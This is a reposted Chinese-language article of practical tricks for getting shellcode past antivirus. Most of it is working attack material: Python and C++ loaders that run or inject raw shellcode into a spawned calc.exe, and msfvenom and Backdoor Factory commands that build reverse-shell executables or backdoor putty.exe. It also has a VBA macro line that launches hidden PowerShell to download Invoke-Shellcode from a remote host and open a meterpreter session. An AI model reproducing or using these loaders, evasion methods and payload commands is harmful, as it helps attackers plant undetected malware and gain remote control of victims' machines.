<code>import ctypesimport sysimport base64#calc.exe#REJDM0Q5NzQyNEY0QkVFODVBMjcxMzVGMzFDOUIxMzMzMTc3MTc4M0M3MDQwMzlGNDlDNUU2QTM4NjgwMDk1QjU3RjM4MEJFNjYyMUY2Q0JEQkY1N0M5OUQ3N0VEMDA5NjNGMkZEM0VDNEI5REI3MUQ1MEZFNEREMTUxMTk4MUY0QUYxQTFEMDlGRjBFNjBDNkZBMEJGNUJDMjU1Q0IxOURGNTQxQjE2NUYyRjFFRTgxNDg1MjEzODg0OTI2QUEwQUVGRDRBRDE2MzFFQjY5ODA4RDU0QzFCRDkyN0FDMkEyNUVCOTM4M0E4RjVENDIzNTM4MDJFNTBFRTkzRjQyQjM0MTFFOThCQkY4MUM5MkExMzU3OTkyMEQ4MTNDNTI0REZGMDdENTA1NEY3NTFEMTJFREM3NUJBRjU3RDJGNjY1QjgxMkZDRTA0MjczQkZDNTE1MTY2NkFBN0QzMUNEM0E3RUIxRTczQzBEQTk1MUM5N0UyN0Y1OTY3QTkyMkNCRTA3NEI3NEU2RDg3NkQ4Qzg4MDQ4NDZDNkYxNEVENjkyQjkyMUQwMzI0NzcyMkIwNDU1MjQxNTdENjNFQThGMjVFQTRCNA==shellcode=bytearray(base64.b64decode(sys.argv[1]).decode("hex"))ptr = ctypes.windll.kernel32.VirtualAlloc(ctypes.c_int(0),                                          ctypes.c_int(len(shellcode)),                                          ctypes.c_int(0x3000),                                          ctypes.c_int(0x40))buf = (ctypes.c_char * len(shellcode)).from_buffer(shellcode)ctypes.windll.kernel32.RtlMoveMemory(ctypes.c_int(ptr),                                     buf,                                     ctypes.c_int(len(shellcode)))ht = ctypes.windll.kernel32.CreateThread(ctypes.c_int(0),                                         ctypes.c_int(0),                                         ctypes.c_int(ptr),                                         ctypes.c_int(0),                                         ctypes.c_int(0),                                         ctypes.pointer(ctypes.c_int(0)))ctypes.windll.kernel32.WaitForSingleObject(ctypes.c_int(ht),ctypes.c_int(-1))/<code>

py 十六進制:

<code>import ctypesimport sys#calc.exe#sc = "DBC3D97424F4BEE85A27135F31C9B13331771783C704039F49C5E6A38680095B57F380BE6621F6CBDBF57C99D77ED00963F2FD3EC4B9DB71D50FE4DD1511981F4AF1A1D09FF0E60C6FA0BF5BC255CB19DF541B165F2F1EE81485213884926AA0AEFD4AD1631EB69808D54C1BD927AC2A25EB9383A8F5D42353802E50EE93F42B3411E98BBF81C92A13579920D813C524DFF07D5054F751D12EDC75BAF57D2F665B812FCE04273BFC5151666AA7D31CD3A7EB1E73C0DA951C97E27F5967A922CBE074B74E6D876D8C8804846C6F14ED692B921D03247722B045524157D63EA8F25EA4B4"shellcode=bytearray(sys.argv[1].decode("hex"))ptr = ctypes.windll.kernel32.VirtualAlloc(ctypes.c_int(0),                                          ctypes.c_int(len(shellcode)),                                          ctypes.c_int(0x3000),                                          ctypes.c_int(0x40))buf = (ctypes.c_char * len(shellcode)).from_buffer(shellcode)ctypes.windll.kernel32.RtlMoveMemory(ctypes.c_int(ptr),                                     buf,                                     ctypes.c_int(len(shellcode)))ht = ctypes.windll.kernel32.CreateThread(ctypes.c_int(0),                                         ctypes.c_int(0),                                         ctypes.c_int(ptr),                                         ctypes.c_int(0),                                         ctypes.c_int(0),                                         ctypes.pointer(ctypes.c_int(0)))ctypes.windll.kernel32.WaitForSingleObject(ctypes.c_int(ht),ctypes.c_int(-1))/<code>

shellcode_encoder

還有一款編碼的工具也好用,安利一下:

https://github.com/ecx86/shellcode_encoder

那麼這是利用語言對shellcode編碼,也可以選擇生成的時候對shellcode編碼

舉例msfvenom:

<code>kali@kali:~$ msfvenom -l encoderFramework Encoders [--encoder <value>]======================================    Name                          Rank       Description    ----                          ----       -----------    cmd/brace                     low        Bash Brace Expansion Command Encoder    cmd/echo                      good       Echo Command Encoder    cmd/generic_sh                manual     Generic Shell Variable Substitution Command Encoder    cmd/ifs                       low        Bourne ${IFS} Substitution Command Encoder    cmd/perl                      normal     Perl Command Encoder    cmd/powershell_base64         excellent  Powershell Base64 Command Encoder    cmd/printf_php_mq             manual     printf(1) via PHP magic_quotes Utility Command Encoder    generic/eicar                 manual     The EICAR Encoder    generic/none                  normal     The "none" Encoder    mipsbe/byte_xori              normal     Byte XORi Encoder    mipsbe/longxor                normal     XOR Encoder    mipsle/byte_xori              normal     Byte XORi Encoder    mipsle/longxor                normal     XOR Encoder    php/base64                    great      PHP Base64 Encoder    ppc/longxor                   normal     PPC LongXOR Encoder    ppc/longxor_tag               normal     PPC LongXOR Encoder    ruby/base64                   great      Ruby Base64 Encoder    sparc/longxor_tag             normal     SPARC DWORD XOR Encoder    x64/xor                       normal     XOR Encoder    x64/xor_context               normal     Hostname-based Context Keyed Payload Encoder    x64/xor_dynamic               normal     Dynamic key XOR Encoder    x64/zutto_dekiru              manual     Zutto Dekiru    x86/add_sub                   manual     Add/Sub Encoder    x86/alpha_mixed               low        Alpha2 Alphanumeric Mixedcase Encoder    x86/alpha_upper               low        Alpha2 Alphanumeric Uppercase Encoder    x86/avoid_underscore_tolower  manual     Avoid underscore/tolower    x86/avoid_utf8_tolower        manual     Avoid UTF8/tolower    x86/bloxor                    manual     BloXor - A Metamorphic Block Based XOR Encoder    x86/bmp_polyglot              manual     BMP Polyglot    x86/call4_dword_xor           normal     Call+4 Dword XOR Encoder    x86/context_cpuid             manual     CPUID-based Context Keyed Payload Encoder    x86/context_stat              manual     stat(2)-based Context Keyed Payload Encoder    x86/context_time              manual     time(2)-based Context Keyed Payload Encoder    x86/countdown                 normal     Single-byte XOR Countdown Encoder    x86/fnstenv_mov               normal     Variable-length Fnstenv/mov Dword XOR Encoder    x86/jmp_call_additive         normal     Jump/Call XOR Additive Feedback Encoder    x86/nonalpha                  low        Non-Alpha Encoder    x86/nonupper                  low        Non-Upper Encoder    x86/opt_sub                   manual     Sub Encoder (optimised)    x86/service                   manual     Register Service    x86/shikata_ga_nai            excellent  Polymorphic XOR Additive Feedback Encoder    x86/single_static_bit         manual     Single Static Bit    x86/unicode_mixed             manual     Alpha2 Alphanumeric Unicode Mixedcase Encoder    x86/unicode_upper             manual     Alpha2 Alphanumeric Unicode Uppercase Encoder    x86/xor_dynamic               normal     Dynamic key XOR Encoder/<value>/<code>

使用模板和編碼器

for example:

<code>msfvenom -p windows/shell_reverse_tcp -x /usr/share/windows-binaries/ plink.exe lhost=1.1.1.1 lport=4444 -a x86 --platform win -f exe -o a.exe msfvenom -p windows/shell/bind_tcp -x /usr/share/windows-binaries/ plink.exe lhost=1.1.1.1 lport=4444 -e x86/shikata_ga_nai -i 5 -a x86 -platform win -f exe > b.exe/<code>

Veil中的加密:

那些shellcode免殺實用性技巧總結


schelper:

那些shellcode免殺實用性技巧總結


Obfuscation:

<code>Invoke-Obfuscation -ScriptBlock {echo xss} -Command 'Encoding\\1,Launcher\\PS\\67' -Quiet/<code>
那些shellcode免殺實用性技巧總結



關於shellcode編碼後執行就點到這裡,其他語言也是大同小異,就不多列舉了。

上面是一些編碼加密shellcode,下面就看看shellcode注入的技巧方式。


<strong>B)shellcode注入混淆


大多數注入免殺還將shellcode進行了拆分


拆分這兩個字也很好理解,字面的意思上和各位php一句話木馬免殺中大體一樣,shellcode也好比我們php木馬中需要拆分的危險函數名


shellcode拆分可以把原本特徵明顯的程序中shellcode進行位置替換,最簡單的比如新增加區段填入shellcode並將入口點jmp到shellcode地址最後再跳回原程序開頭


也可以將shellcode分段布在各個code cave中再分段執行,原理可以參考egg hunt shellcode的中的Omelet Shellcode


舉一些注入例子:

BDF:

https://github.com/secretsquirrel/the-backdoor-factory

<code>*] In the backdoor module[*] Checking if binary is supported[*] Gathering file info[*] Reading win32 entry instructions[*] Loading PE in pefile[*] Parsing data directories[*] Looking for and setting selected shellcode[*] Creating win32 resume execution stub[*] Looking for caves that will fit the minimum shellcode length of 410[*] All caves lengths:  410############################################################The following caves can be used to inject code and possiblycontinue execution.**Don't like what you see? Use jump, single, append, or ignore.**############################################################[*] Cave 1 length as int: 410[*] Available caves: 1. Section Name: DATA; Section Begin: 0x5df200 End: 0x665400; Cave begin: 0x65ea07 End: 0x65ec68; Cave Size: 6093. Section Name: .rdata; Section Begin: 0x66a000 End: 0x66a200; Cave begin: 0x66a013 End: 0x66a200; Cave Size: 4934. Section Name: .rsrc; Section Begin: 0x66a200 End: 0xd33200; Cave begin: 0xc8203f End: 0xc82308; Cave Size: 7135. Section Name: .rsrc; Section Begin: 0x66a200 End: 0xd33200; Cave begin: 0xc82e1c End: 0xc83050; Cave Size: 5646. Section Name: .rsrc; Section Begin: 0x66a200 End: 0xd33200; Cave begin: 0xc830eb End: 0xc83718; Cave Size: 15817. Section Name: .rsrc; Section Begin: 0x66a200 End: 0xd33200; Cave begin: 0xc83b64 End: 0xc840fc; Cave Size: 14328. Section Name: .rsrc; Section Begin: 0x66a200 End: 0xd33200; Cave begin: 0xc843ff End: 0xc846c8; Cave Size: 7139. Section Name: .rsrc; Section Begin: 0x66a200 End: 0xd33200; Cave begin: 0xc851dc End: 0xc85410; Cave Size: 56410. Section Name: .rsrc; Section Begin: 0x66a200 End: 0xd33200; Cave begin: 0xc854ab End: 0xc859d0; Cave Size: 131711. Section Name: .rsrc; Section Begin: 0x66a200 End: 0xd33200; Cave begin: 0xc86557 End: 0xc86b84; Cave Size: 158112. Section Name: .rsrc; Section Begin: 0x66a200 End: 0xd33200; Cave begin: 0xc86fd0 End: 0xc87568; Cave Size: 143213. Section Name: .rsrc; Section Begin: 0x66a200 End: 0xd33200; Cave begin: 0xc8760a End: 0xc87a32; Cave Size: 106414. Section Name: .rsrc; Section Begin: 0x66a200 End: 0xd33200; Cave begin: 0xc886af End: 0xc88d58; Cave Size: 170515. Section Name: .rsrc; Section Begin: 0x66a200 End: 0xd33200; Cave begin: 0xc8b8b3 End: 0xc8bdd8; Cave Size: 131716. Section Name: .rsrc; Section Begin: 0x66a200 End: 0xd33200; Cave begin: 0xc8eaba End: 0xc8ed65; Cave Size: 683/<code>

BDF中-F參數實現多裂縫注入。

<code>backdoor-factory -f putty.exe -s showbackdoor-factory -f putty.exe -s iat_reverse_tcp_stager_threaded -H 192.168.15.135 -P 4444/<code>

shellter:

A 選項增加區段注入


那些shellcode免殺實用性技巧總結

Avet:

<code>root@kali:/tmp/avet/build# leafpad build_win64_meterpreter_rev_tcp_xor_fopen.sh lhost=192.168.174.134root@kali:/tmp/avet/build# cd ..root@kali:/tmp/avet# ./build/build_win64_meterpreter_rev_tcp_xor_fopen.shNo Arch selected, selecting Arch: x64 from the payloadFound 1 compatible encodersAttempting to encode payload with 1 iterations of x64/xorx64/xor succeeded with size 551 (iteration=0)x64/xor chosen with final size 551Payload size: 551 bytesFinal size of c file: 2339 bytes./build/build_win64_meterpreter_rev_tcp_xor_fopen.sh: line 6: ./make_avet: cannot execute binary file: Exec format erroravet.c: In function 'main':avet.c:122:15: error: 'buf' undeclared (first use in this function)   shellcode = buf;               ^avet.c:122:15: note: each undeclared identifier is reported only once for each function it appears in/<code>
正常進程注入shellcode

除了也可以手動整個進程注入,起一個正常進程注入shellcode例子:

<code>#include "stdafx.h"#include <windows.h>#include<stdio.h>#include "iostream"using namespace std;    unsigned char shellcode[] =        "\\\\xb8\\\\x72\\\\xd9\\\\xb8\\\\x52\\\\xda\\\\xd8\\\\xd9\\\\x74\\\\x24\\\\xf4\\\\x5a\\\\x2b\\\\xc9\\\\xb1"        "\\\\x56\\\\x83\\\\xc2\\\\x04\\\\x31\\\\x42\\\\x0f\\\\x03\\\\x42\\\\x7d\\\\x3b\\\\x4d\\\\xae\\\\x69\\\\x39"        "\\\\xae\\\\x4f\\\\x69\\\\x5e\\\\x26\\\\xaa\\\\x58\\\\x5e\\\\x5c\\\\xbe\\\\xca\\\\x6e\\\\x16\\\\x92\\\\xe6"        "\\\\x05\\\\x7a\\\\x07\\\\x7d\\\\x6b\\\\x53\\\\x28\\\\x36\\\\xc6\\\\x85\\\\x07\\\\xc7\\\\x7b\\\\xf5\\\\x06"        "\\\\x4b\\\\x86\\\\x2a\\\\xe9\\\\x72\\\\x49\\\\x3f\\\\xe8\\\\xb3\\\\xb4\\\\xb2\\\\xb8\\\\x6c\\\\xb2\\\\x61"        "\\\\x2d\\\\x19\\\\x8e\\\\xb9\\\\xc6\\\\x51\\\\x1e\\\\xba\\\\x3b\\\\x21\\\\x21\\\\xeb\\\\xed\\\\x3a\\\\x78"        "\\\\x2b\\\\x0f\\\\xef\\\\xf0\\\\x62\\\\x17\\\\xec\\\\x3d\\\\x3c\\\\xac\\\\xc6\\\\xca\\\\xbf\\\\x64\\\\x17"        "\\\\x32\\\\x13\\\\x49\\\\x98\\\\xc1\\\\x6d\\\\x8d\\\\x1e\\\\x3a\\\\x18\\\\xe7\\\\x5d\\\\xc7\\\\x1b\\\\x3c"        "\\\\x1c\\\\x13\\\\xa9\\\\xa7\\\\x86\\\\xd0\\\\x09\\\\x0c\\\\x37\\\\x34\\\\xcf\\\\xc7\\\\x3b\\\\xf1\\\\x9b"        "\\\\x80\\\\x5f\\\\x04\\\\x4f\\\\xbb\\\\x5b\\\\x8d\\\\x6e\\\\x6c\\\\xea\\\\xd5\\\\x54\\\\xa8\\\\xb7\\\\x8e"        "\\\\xf5\\\\xe9\\\\x1d\\\\x60\\\\x09\\\\xe9\\\\xfe\\\\xdd\\\\xaf\\\\x61\\\\x12\\\\x09\\\\xc2\\\\x2b\\\\x7a"        "\\\\xfe\\\\xef\\\\xd3\\\\x7a\\\\x68\\\\x67\\\\xa7\\\\x48\\\\x37\\\\xd3\\\\x2f\\\\xe0\\\\xb0\\\\xfd\\\\xa8"        "\\\\x71\\\\xd6\\\\xfd\\\\x67\\\\x39\\\\xb7\\\\x03\\\\x88\\\\x39\\\\x91\\\\xc7\\\\xdc\\\\x69\\\\x89\\\\xee"        "\\\\x5c\\\\xe2\\\\x49\\\\x0e\\\\x89\\\\x9e\\\\x43\\\\x98\\\\xf2\\\\xf6\\\\xfa\\\\xdc\\\\x9b\\\\x04\\\\x03"        "\\\\xcc\\\\x07\\\\x81\\\\xe5\\\\xbe\\\\xe7\\\\xc1\\\\xb9\\\\x7e\\\\x58\\\\xa1\\\\x69\\\\x17\\\\xb2\\\\x2e"        "\\\\x55\\\\x07\\\\xbd\\\\xe5\\\\xfe\\\\xa2\\\\x52\\\\x53\\\\x56\\\\x5b\\\\xca\\\\xfe\\\\x2c\\\\xfa\\\\x13"        "\\\\xd5\\\\x48\\\\x3c\\\\x9f\\\\xdf\\\\xad\\\\xf3\\\\x68\\\\xaa\\\\xbd\\\\xe4\\\\x0e\\\\x54\\\\x3e\\\\xf5"        "\\\\xba\\\\x54\\\\x54\\\\xf1\\\\x6c\\\\x03\\\\xc0\\\\xfb\\\\x49\\\\x63\\\\x4f\\\\x03\\\\xbc\\\\xf0\\\\x88"        "\\\\xfb\\\\x41\\\\xc0\\\\xe3\\\\xca\\\\xd7\\\\x6c\\\\x9c\\\\x32\\\\x38\\\\x6c\\\\x5c\\\\x65\\\\x52\\\\x6c"        "\\\\x34\\\\xd1\\\\x06\\\\x3f\\\\x21\\\\x1e\\\\x93\\\\x2c\\\\xfa\\\\x8b\\\\x1c\\\\x04\\\\xae\\\\x1c\\\\x75"        "\\\\xaa\\\\x89\\\\x6b\\\\xda\\\\x55\\\\xfc\\\\xef\\\\x1d\\\\xa9\\\\x82\\\\xc7\\\\x85\\\\xc1\\\\x7c\\\\x58"        "\\\\x36\\\\x11\\\\x17\\\\x58\\\\x66\\\\x79\\\\xec\\\\x77\\\\x89\\\\x49\\\\x0d\\\\x52\\\\xc2\\\\xc1\\\\x84"        "\\\\x33\\\\xa0\\\\x70\\\\x98\\\\x19\\\\x64\\\\x2c\\\\x99\\\\xae\\\\xbd\\\\xdf\\\\xe0\\\\xdf\\\\x42\\\\x20"        "\\\\x15\\\\xf6\\\\x26\\\\x21\\\\x15\\\\xf6\\\\x58\\\\x1e\\\\xc3\\\\xcf\\\\x2e\\\\x61\\\\xd7\\\\x6b\\\\x20"        "\\\\xd4\\\\x7a\\\\xdd\\\\xab\\\\x16\\\\x28\\\\x1d\\\\xfe";    BOOL injection()    {        wchar_t Cappname[MAX_PATH] = { 0 };        STARTUPINFO si;        PROCESS_INFORMATION pi;        LPVOID lpMalwareBaseAddr;        LPVOID lpnewVictimBaseAddr;        HANDLE hThread;        DWORD dwExitCode;        BOOL bRet = FALSE;        lpMalwareBaseAddr = shellcode;        GetSystemDirectory(Cappname, MAX_PATH);        _tcscat(Cappname, L"\\\\calc.exe");        printf("Injection program Name:%S\\r\\n", Cappname);        ZeroMemory(&si, sizeof(si));        si.cb = sizeof(si);        ZeroMemory(&pi, sizeof(pi));        if (CreateProcess(Cappname, NULL, NULL, NULL,            FALSE, CREATE_SUSPENDED            , NULL, NULL, &si, &pi) == 0)        {            return bRet;        }        lpnewVictimBaseAddr = VirtualAllocEx(pi.hProcess            , NULL, sizeof(shellcode) + 1, MEM_COMMIT | MEM_RESERVE,            PAGE_EXECUTE_READWRITE);        if (lpnewVictimBaseAddr == NULL)        {            return bRet;        }        WriteProcessMemory(pi.hProcess, lpnewVictimBaseAddr,            (LPVOID)lpMalwareBaseAddr, sizeof(shellcode) + 1, NULL);        hThread = CreateRemoteThread(pi.hProcess, 0, 0,            (LPTHREAD_START_ROUTINE)lpnewVictimBaseAddr, NULL, 0, NULL);        WaitForSingleObject(pi.hThread, INFINITE);        GetExitCodeProcess(pi.hProcess, &dwExitCode);        TerminateProcess(pi.hProcess, 0);        return bRet;    }    void help(char* proc)    {        printf("%s:[-] start a process and injection shellcode to memory\\r\\n", proc);    }    int main(int argc, char* argv[])    {        help(argv[0]);        injection();    }/<stdio.h>/<windows.h>/<code>
那些shellcode免殺實用性技巧總結


那些shellcode免殺實用性技巧總結


那些shellcode免殺實用性技巧總結


注入就舉例到這裡,思考下如果是hook函數的檢測怎麼替換呢,可以進行函數替換,比如win api中可以替換VirtuallAlloc的函數就很多:

那些shellcode免殺實用性技巧總結


技巧組合


上面說了一些技巧,無論是分離中加載器運行shellcode、白利用運行惡意程序,還是將shellcode編碼、加密、注入,對免殺都會有一定效果,單一使用某個技巧的話或多或少會有一定的缺陷


那麼將各個技巧結合起來達到最好的效果是我們需要思考的事情


舉個好用的例子:

Powershell-Payload-Excel-Delivery


https://github.com/enigma0x3/Powershell-Payload-Excel-Delivery/

這是就是使用shellcode調用graeber的VBA宏,在內存中執行

powershell(可以使用編碼),達到後門持久化

<code>Set objProcess = GetObject("winmgmts:\\\" & strComputer & "\\root\\cimv2:Win32_Process")        objProcess.Create "powershell.exe -ExecutionPolicy Bypass -WindowStyle Hidden -noprofile -noexit -c IEX ((New-Object Net.WebClient).DownloadString('http://192.168.1.127/Invoke-Shellcode')); Invoke-Shellcode -Payload windows/meterpreter/reverse_https -Lhost 192.168.1.127 -Lport 1111 -Force", Null, objConfig, intProcessID/<code>


那些shellcode免殺實用性技巧總結


<code>C:\\PS> Start-Process C:\\Windows\\SysWOW64\\notepad.exe -WindowStyle HiddenC:\\PS> $Proc = Get-Process notepadC:\\PS> Invoke-Shellcode -ProcessId $Proc.Id -Payload windows/meterpreter/reverse_https -Lhost 192.168.30.129 -Lport 443 -VerboseVERBOSE: Requesting meterpreter payload from https://192.168.30.129:443/INITMVERBOSE: Injecting shellcode into PID: 4004VERBOSE: Injecting into a Wow64 process.VERBOSE: Using 32-bit shellcode.VERBOSE: Shellcode memory reserved at 0x03BE0000VERBOSE: Emitting 32-bit assembly call stub.VERBOSE: Thread call stub memory reserved at 0x001B0000VERBOSE: Shellcode injection complete!/<code>

技巧方法是死的,思路是活,希望此文可以達到拋磚引玉的目的,在實際環境下也需要各位師傅將多個技巧結合靈巧的思路達到想要的成果。


轉載自:https://xz.aliyun.com/t/7170


今天你知道了嗎?

那些shellcode免殺實用性技巧總結


加群,黑客技術大咖在線解答(群號評論區見)


分享到:


相關文章: